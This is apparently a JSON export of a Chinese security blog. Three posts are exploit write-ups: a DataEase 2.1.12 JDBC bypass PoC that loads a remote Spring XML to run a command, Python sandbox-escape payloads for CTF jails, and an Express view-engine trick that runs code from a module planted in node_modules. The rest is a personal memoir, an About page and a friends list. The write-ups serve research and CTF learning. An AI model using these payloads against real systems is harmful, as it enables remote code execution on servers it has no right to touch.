[{"content":" tips: 2025 年刚上班写的\n思路 在上个版本的 patch 中\n在这里判断了必须有固定的开头，但其实还有个类没有做这个过滤\n就是 H2。那我们的思路就转变成了能不能利用 H2 做 type 类型，来指定 driver 进行 rce。\n答案是可以的。\n在 redshift 里，可以看到他的过滤参数。这是因为\n他会接受一个类名和参数名来进行实例化。那我们可以使用 ClassPathXmlApplicationContext 构造恶意的 xml 进行 RCE。\n踩坑点 一开始我注意到 driver 驱动已经被直接变成 redshift 的驱动了，但是 conn 显示是 null 的。可以打个断点看看，他进去的却是\nH2 的 jdbc。这是因为\n首先在这里连接的时候，会要求传进来个 url 格式必须是 jdbc:redshift。那我们就可以按照原来的思路，因为 configuration 都是用 jackson 进行反序列化解析的，回显的 getJdbc 我们直接传入 jdbc 变量覆盖掉就好。\npoc 如下：\n{ \u0026#34;dataBase\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;driver\u0026#34;: \u0026#34;com.amazon.redshift.jdbc42.Driver\u0026#34;, \u0026#34;jdbcUrl\u0026#34;: \u0026#34;jdbc:redshift://127.0.0.1:6666/testdb;socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext;socketFactoryArg=http://127.0.0.1:5525/exp.xml\u0026#34;, \u0026#34;urlType\u0026#34;: \u0026#34;jdbcUrl\u0026#34;, \u0026#34;sshType\u0026#34;: \u0026#34;password\u0026#34;, \u0026#34;extraParams\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;host\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;authMethod\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;port\u0026#34;: 0, \u0026#34;initialPoolSize\u0026#34;: 5, \u0026#34;minPoolSize\u0026#34;: 5, \u0026#34;maxPoolSize\u0026#34;: 5, \u0026#34;queryTimeout\u0026#34;: 30, \u0026#34;connectionType\u0026#34;: \u0026#34;sid\u0026#34;, \u0026#34;jdbc\u0026#34;: \u0026#34;jdbc:redshift://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext\u0026amp;socketFactoryArg=http://172.16.76.225:5525/exp.xml\u0026amp;\u0026#34; } 恶意的 xml 如下：\n\u0026lt;beans xmlns=\u0026#34;http://www.springframework.org/schema/beans\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\u0026#34;\u0026gt; \u0026lt;bean id=\u0026#34;pb\u0026#34; class=\u0026#34;java.lang.ProcessBuilder\u0026#34; init-method=\u0026#34;start\u0026#34;\u0026gt; \u0026lt;constructor-arg\u0026gt; \u0026lt;list\u0026gt; \u0026lt;value\u0026gt;touch\u0026lt;/value\u0026gt; \u0026lt;value\u0026gt;/tmp/rce\u0026lt;/value\u0026gt; \u0026lt;/list\u0026gt; \u0026lt;/constructor-arg\u0026gt; \u0026lt;/bean\u0026gt; \u0026lt;/beans\u0026gt; 能够成功接到请求\n成功 rce\n","permalink":"https://hackerpoet.com/posts/dataease-2.1.12-bypass/","summary":"分析 Dataease 2.1.12 版本中 H2 类型未过滤导致的 JDBC RCE 绕过","title":"Dataease 最新版本 2.1.12 绕过思路"},{"content":" Tips: 2021年写\nBackground 打国外的ctf的时候认识了个师傅，他给我发了两个python题目，问我有没有什么想法，研究了一下\nChallenge 1 Python2 from __future__ import print_function banned = [ \u0026#34;import\u0026#34;, \u0026#34;exec\u0026#34;, \u0026#34;eval\u0026#34;, \u0026#34;pickle\u0026#34;, \u0026#34;os\u0026#34;, \u0026#34;subprocess\u0026#34;, \u0026#34;kevin sucks\u0026#34;, \u0026#34;input\u0026#34;, \u0026#34;banned\u0026#34;, \u0026#34;cry sum more\u0026#34;, \u0026#34;sys\u0026#34; ] targets = __builtins__.__dict__.keys() targets.remove(\u0026#39;raw_input\u0026#39;) targets.remove(\u0026#39;print\u0026#39;) for x in targets: del __builtins__.__dict__[x] while 1: print(\u0026#34;\u0026gt;\u0026gt;\u0026gt;\u0026#34;, end=\u0026#39; \u0026#39;) data = raw_input() for no in banned: if no.lower() in data.lower(): print(\u0026#34;No bueno\u0026#34;) break else: # this means nobreak exec data 这题是一个常见的沙盒逃逸，删除掉了bultins里面的函数，那我们就直接换一个常见的链即可 ,然后对于os 和system用简单的字符串拼接就可以\n最终payload:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')\n这题是个很简单也很基础的沙盒逃逸,但是我们注意到这是py2的沙盒逃逸，那py3的沙盒逃逸题是否有什么不一样的方法\nChallenge 2 Py 3 #!/usr/bin/env python3 import string print(\u0026#34;Welcome to my pyjail! pls dont escape\u0026#34;) while True: inp = input(\u0026#34;\u0026gt;\u0026gt;\u0026gt; \u0026#34;) for n in \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\u0026#34;: if n in inp: print(\u0026#34;no u\u0026#34;) exit() exec(inp) 阅读源码，发现他ban掉了所有英文字母，我首先就想到是否可以通过一些进制转换的方式，然后和一位朋友试了一下，将\n_import__('os').system('ls')\n尝试转换八进制，然后在python3的环境里面执行发现是可以的\n但是我们在题目里是并不可以执行的\n说明我们的import导包好像并没成功\nOs 和ls这种字符串八进制应该没什么问题的\n问题只是如何能够通过某种方法让我们导入这个包 我搜索了python官方的文档关于编码，以及python2 和 python3在编码方面的差异 让我发现了这个\n在python3中支持 Non-ASCII Identifies 并且\n所有都会被转换成 unicode 的NFKC 也就是标准模式\n所以是不是我们以前ctf存在的什么unicode欺骗在这里也可以用到呢？\n我在stackoverflow搜索了更多关于Non-ASCII Identifies 的帖子\n发现个有趣的demo\n这里面的第一个是函数的f 在python3环境里我们打印f 也可以执行\n我看到这个函数f可以执行我也想到了 我们可以用斜体或者花体各种各样的与标准字母相像的来进行导包操作\n我搜索了unicode字符大全，发现了很多我提到的字符\n我们构造import 和system 将需要的字符串os 和open flag.txt用八进制表示\n最终payload:__𝘪𝘮𝘱𝘰𝘳𝘵__(\u0026quot;\\157\\163\u0026quot;).𝘴𝘺𝘴𝘵𝘦𝘮(\u0026quot;\\143\\141\\164\\040\\146\\154\\141\\147\\056\\164\\170\\164\u0026quot;)\n可以看到成功get flag\n得到这个神奇的方法后，我在想 ，以前题目出过不少python3的沙盒逃逸题目，并且黑名单了一些包名，我们是不是可以直接通过这个方法直接bypass掉\n我在ctftime搜到了一个题目\n题目来源于(N-CTF 2019的python_jail）\n发现用我的payload可以直接得到flag\n后记 我通过不断搜索发现，不只python3有这个机制，rust居然也存在\n各位师傅们可以更深入的了解下\n参考文章 unicode字符大全 PEP 3131 Rust Issue #28979 StackOverflow: Unicode Identifiers CTFTime Writeup ","permalink":"https://hackerpoet.com/posts/pyjail-challenge/","summary":"Python2/3 沙盒逃逸分析，利用 Unicode NFKC 标准化绕过字母黑名单","title":"一道有趣的pyjail题目分析"},{"content":" tips: 2024 年写，迁移自先知社区旧文\nBackground 在关注 ejs 解析的时候发现 express 对 render 的处理有点意思，所以简单分析了下。\n0x01 流程链简析 当用 express 的解析模板引擎的时候，即使默认使用了 ejs，但是也会有引擎修改的工程，大概调用链如下：\nrender() -\u0026gt; View() -\u0026gt; tryRender -\u0026gt; this.engine()\n0x02 漏洞详情分析 在 render 函数代码里：\napp.render = function render(name, options, callback) { var cache = this.cache; var done = callback; var engines = this.engines; var opts = options; var renderOptions = {}; var view; // support callback function as second arg if (typeof options === \u0026#39;function\u0026#39;) { done = options; opts = {}; } // merge app.locals merge(renderOptions, this.locals); // merge options._locals if (opts._locals) { merge(renderOptions, opts._locals); } // merge options merge(renderOptions, opts); // set .cache unless explicitly provided if (renderOptions.cache == null) { renderOptions.cache = this.enabled(\u0026#39;view cache\u0026#39;); } // primed cache if (renderOptions.cache) { view = cache[name]; } // view if (!view) { var View = this.get(\u0026#39;view\u0026#39;); view = new View(name, { defaultEngine: this.get(\u0026#39;view engine\u0026#39;), root: this.get(\u0026#39;views\u0026#39;), engines: engines }); if (!view.path) { var dirs = Array.isArray(view.root) \u0026amp;\u0026amp; view.root.length \u0026gt; 1 ? \u0026#39;directories \u0026#34;\u0026#39; + view.root.slice(0, -1).join(\u0026#39;\u0026#34;, \u0026#34;\u0026#39;) + \u0026#39;\u0026#34; or \u0026#34;\u0026#39; + view.root[view.root.length - 1] + \u0026#39;\u0026#34;\u0026#39; : \u0026#39;directory \u0026#34;\u0026#39; + view.root + \u0026#39;\u0026#34;\u0026#39; var err = new Error(\u0026#39;Failed to lookup view \u0026#34;\u0026#39; + name + \u0026#39;\u0026#34; in views \u0026#39; + dirs); err.view = view; return done(err); } // prime the cache if (renderOptions.cache) { cache[name] = view; } } // render tryRender(view, renderOptions, done); }; function tryRender(view, options, callback) { try { view.render(options, callback); } catch (err) { callback(err); } } 关键代码在这一段：\nif (!view) { var View = this.get(\u0026#39;view\u0026#39;); view = new View(name, { defaultEngine: this.get(\u0026#39;view engine\u0026#39;), root: this.get(\u0026#39;views\u0026#39;), engines: engines }); view 在没 cache 的情况下 view 变量默认是空的，就会在此处调用一个 View()，而且当这个函数结束的时候，他会继续走一个 tryRender 函数。\n而在 View 函数中：\nfunction View(name, options) { var opts = options || {}; this.defaultEngine = opts.defaultEngine; this.ext = extname(name); this.name = name; this.root = opts.root; if (!this.ext \u0026amp;\u0026amp; !this.defaultEngine) { throw new Error(\u0026#39;No default engine was specified and no extension was provided.\u0026#39;); } var fileName = name; if (!this.ext) { // get extension from default engine name this.ext = this.defaultEngine[0] !== \u0026#39;.\u0026#39; ? \u0026#39;.\u0026#39; + this.defaultEngine : this.defaultEngine; fileName += this.ext; } console.log(this.ext) // debug data if (!opts.engines[this.ext]) { // load engine var mod = this.ext.slice(1) debug(\u0026#39;require \u0026#34;%s\u0026#34;\u0026#39;, mod) // default engine export var fn = require(mod).__express if (typeof fn !== \u0026#39;function\u0026#39;) { throw new Error(\u0026#39;Module \u0026#34;\u0026#39; + mod + \u0026#39;\u0026#34; does not provide a view engine.\u0026#39;) } opts.engines[this.ext] = fn } // store loaded engine this.engine = opts.engines[this.ext]; // lookup path this.path = this.lookup(fileName); } 可以看到 opts.engines[this.ext] 如果不为空，他会取 this.ext 的值然后来调用 require 函数。\n有意思的地方在于：\nvar fn = require(mod).__express if (typeof fn !== \u0026#39;function\u0026#39;) { throw new Error(\u0026#39;Module \u0026#34;\u0026#39; + mod + \u0026#39;\u0026#34; does not provide a view engine.\u0026#39;) } opts.engines[this.ext] = fn 在这里函数 __express 被导入然后定义在 opts.engines[this.ext]，也就是说现在 engine 里有 __express 函数。\n了解了下这个函数，那其实只要可控我们就能 rce 了。这里主要就是我们要看看他是如何取到这个 ext 的。我测试的时候发现他对后缀没有处理：\n\u0026gt; extname(\u0026#39;1.ttt\u0026#39;) \u0026#39;.ttt\u0026#39; 继续往下走，当他继续走 tryRender 他会经过 view.render(options, callback)：\n然后这个 this.engine 函数就可以被执行了。\n0x03 漏洞利用 其实早在很多 CTF 中，我就关注过这个引擎解析，2021 的 LineCTF 里提到：\na.ejs.b.c.hbs 会 require hbs 进来，也就是说如果我们在 views 里面有其他类型的文件 比如 xxx.ttt，他经过 render 就会执行代码。但其实这个还有另一种利用方法。\n我们可以写一个测试代码，大致如下：\napp.set(\u0026#39;view engine\u0026#39;, \u0026#39;ejs\u0026#39;); app.get(\u0026#39;/\u0026#39;, (req, res) =\u0026gt; { const page = req.query.filename res.render(page); }) 当对 filename 传参为不附加后缀的，他会默认使用我们的 ejs 解析，也就是说：\n127.0.0.1/?filename=1 127.0.0.1/?filename=1.ejs 这两者是等价的。\n当我们键入一个自定义后缀 123.ttt 的时候，会像前文提到的这样处理 ttt：\nvar mod = this.ext.slice(1) debug(\u0026#39;require \u0026#34;%s\u0026#34;\u0026#39;, mod) // default engine export var fn = require(mod).__express 如果我们有一个文件上传位点可控，能把文件夹传到 node_modules 下，其实就可以进行 __express 函数的使用了。\n首先我在 node_modules 下建立一个 ttt 文件夹，把文件夹里面添加一个 index.js 内容如下：\nexports.__express = function() { console.log(require(\u0026#39;child_process\u0026#39;).execSync(\u0026#34;id\u0026#34;).toString()); } 然后键入任意文件名，后缀为 ttt 即可调用。\n当我们访问 127.0.0.1/?filename=1.ttt 时候进行 debug 会发现：\n他的 engines 内容是我们键入的代码：\n而对照虽然 default 是 ejs，但我们还是在 engine 里进行替换了我们要执行的函数。\n0x04 总结 虽然在较高版本，这个缺陷已经被修复了，而且修复方式有很多种，最好的就是检测后缀，但这个思路是比较有趣的，而且很有可能会被出在一些 CTF 比赛上。\n","permalink":"https://hackerpoet.com/posts/express-engine-trick/","summary":"分析 Express render 流程中引擎加载的一个有趣点，记录一种可用于 CTF 的利用思路","title":"谈Express engine处理引擎的一个trick"},{"content":" tips: 写于 2026 年 3 月 26 日\n我爷得了脑梗，因为他平常和我一样爱说点下三滥的笑话，我觉得我们都蛮有\u0026quot;梗\u0026quot;的，没想到他真梗了。因为我们都姓王，于是我写下这篇《梗王记》。\n周末清晨，我被我哥的电话叫醒，说爷生病了。我一开始被打断睡眠的懊恼，紧接着大脑和世界断了一秒，背景音乐是我妹的哽咽。我生长在东北之东北的一座小城市，每年有半年都是荒芜的状态，天气寒冷，城市里大多都是体力劳动者，所以菜系偏油腻。在这个条件下，脑梗就像是一种诅咒，在每个东北人身上悄悄滋生。\n凌晨四点我爷觉得头晕，没当回事继续干活；中午吐了，没当回事，打了几个蟑螂；下午的时候突然左半边身子动不了，才想着去医院。小城市的医院核磁坏了，想着往大城市医院送，送到之后错过了最佳溶栓期，只能保守治疗，而且他们不收，让回家去保守治疗。\n在这种情况下我给我爸打电话问具体详情，他哽咽地和我说：你爷小脑梗死了。我心神不宁地赶紧和我妹妹坐上了回去的车，回去的路上我在心里拜安拉、拜佛祖、拜基督，那一刻世界文化在我心里得到了大一统。想一会突然觉得可能他仨还是救不了我爷，真正救我爷还得看现代医学。\n于是我开始查资料，不知不觉就到医院了。我整理了一会心情进去看我爷，离上一次见面不到 20 天，他虚弱地躺在床上，房间里充满着监护仪冰冷的跳动声、我妹的抽泣声和我奶不断介绍孙子孙女回来了的声音。他状态比我想象的好，他能感受到四肢的位置，能正常思考说话，只是说话有的时候会听不清。我爸给我看了一眼核磁的结果：左小脑梗死，脑内多发软灶，头部动脉粥硬化，双侧大脑后动脉闭塞。我发给了奇哥和 Gemini，给我的结果都是不是特别好，在急性期内还没脱离危险，Gemini 还给了我一句安慰——\u0026ldquo;咱爷已经打上药了，我们要相信医生\u0026rdquo;，Gemini 确实人性化，已经要开始跟我抢爷了。\n今天是我连续去的第四天，这几天每天晚上安抚我家人，白天去陪着。现在可以开始慢慢减药，看起来急性水肿期也快度过了。昨天去，我奶奶都握着我的手和我说如果我爷偏瘫了动不了她该怎么办之类的话，我跟她详细解释了偏瘫不是半身不遂，经过康复是可以恢复正常的，说了半天我奶不住的点头，等我说完之后接了一句——\u0026ldquo;这大孙子说啥我也听不清\u0026rdquo;。\n隔壁病床是一个复发三次脑梗的老人，他爱吃猪肉爱喝啤酒，还好这两样我爷都不喜欢。他有一天在床上哽咽说：\u0026ldquo;活着有啥意思，没有质量\u0026rdquo;，他没法活动，做什么都得人帮助。古兰经里说苦痛是考验，我不相信，苦痛就是苦痛，人生太痛苦了。上次哲哥和欢哥和我说，人生就是要体验的，我现在完全赞同，原来一直不敢面对，但人生总要面对。\n我爷上周六去世了，卧床一周，在水肿期的最后阶段，肺炎引起心衰，10 多分钟不到就离开了。\n刚收到消息的时候，我刚想去一家我最喜欢的咖啡店去喝苹果美式，收到消息我不敢相信。我脑海里都是走之前他让我赶紧回去上班的话语，和他插着吸氧机和输一堆液躺在床上的样子。我当时想到的最坏结果是他可能下不来床，没想到他再也下不来了。\n我知道人生一定有离别这一关，只是早晚，但我还是一时间很难接受。我后悔我过年回家因为他轻浮的话语呛了他几句，也后悔当时因为他不喜寺庙，在寺庙没给他求一个平安符。\n我家里祖祖辈辈都是农民，我爷爷从小母亲去世，上各个远亲近戚家吃百家饭长大，当时穷过饿过，到今天也不舍得花钱。他会开电瓶车载着几十斤重的纸壳和瓶子大冬天去卖几块钱，平常一些小病从来不在乎。还记得年前的时候他和我爸说感觉有点迷糊，我爸一直自责，当时如果带着去医院可能就好了。但以我对梗王的了解，他一定会拒绝并说：去医院花什么钱，挣钱留着给我孙子娶媳妇呢。然后对我笑笑，和他当时那天一样。脑梗发病那一天他身子半边动不了，硬是不让任何人扶，上了担架。第一天来看他，走前大家问他难受不，他说不难受。\n我 23 年二战考研也不太理想，索性不想调剂在家躺着，偶尔也能赚点挖洞和讲课的钱。24 年我爸说带我爷爷奶奶出去旅游一趟，我们去了烟台、青岛，去了北京，坐了飞机。回去的火车上，我在上铺睁开眼睛看着我爷，目不转睛地盯着窗外看，拿着我给他买的手机不断地拍着外面的铁轨，街道——一转眼，眼前的他已经在一个棺材里安详地睡着。今年年初说着带他去长春和长白山转转，可惜他这辈子也看不到了。\n明天是他的头七。我是唯物主义，但我真的很想他。\n","permalink":"https://hackerpoet.com/posts/geng-wang-ji/","summary":"写给我爷","title":"梗王记"},{"content":"一名安全从业者/前脱口秀表演者/伪诗人/前古法CTFer/Mayday fans/Vansdaddy fans\n喜欢做一些奇妙的安全研究/渗透测试/在卷AI了（咕咕咕\n会拿着富士出去拍拍拍\n喜欢浪费生命/喜欢那种节后冷清\n联系方式: VFRUVDRybg==\n","permalink":"https://hackerpoet.com/about/","summary":"About T4rn","title":"About Me"},{"content":"Hackers Jesen\u0026#39;s blog suanve\u0026#39;s blog key哥 人生和hacker都很圆满 Pdsdt师傅 CTF入门导师 Ginko Destiny crazyman r3kapig captain, apt的king Ca1s1 陆哥 上海帝皇 兔兔哥 我的偶像 211本科 雷保送 华中赛区第一awd 喜欢虐人 sp4c1ous师傅 圣地亚哥皮球的king Imagin 小红花哥哥 小陈\u0026#39;s blog End_donkey\u0026#39;s blog Blog of Code Ga1@xy\u0026#39;s blog guoke\u0026#39;s blog 烨\u0026#39;s blog DuanyuF1 Miao Tony\u0026#39;s blog TonghuaRoot\u0026#39;s blog Harvey\u0026#39;s blog God1\u0026#39;s blog echoonly\u0026#39;s blog My Friends N0vice\u0026#39;s blog Peri0d\u0026#39;s blog Penson\u0026#39;s blog luoluo\u0026#39;s blog tr0jan\u0026#39;s blog 天下大木头\u0026#39;s blog Teacher and Friend indevn\u0026#39;s blog Hrbust RC cyunrei\u0026#39;s blog Hackerbo 卧龙 ChenGuanTong 凤雏 Wice\u0026#39;s blog 想学人工智能的冰哥 ","permalink":"https://hackerpoet.com/friends/","summary":"Friends Links","title":"Friends"}]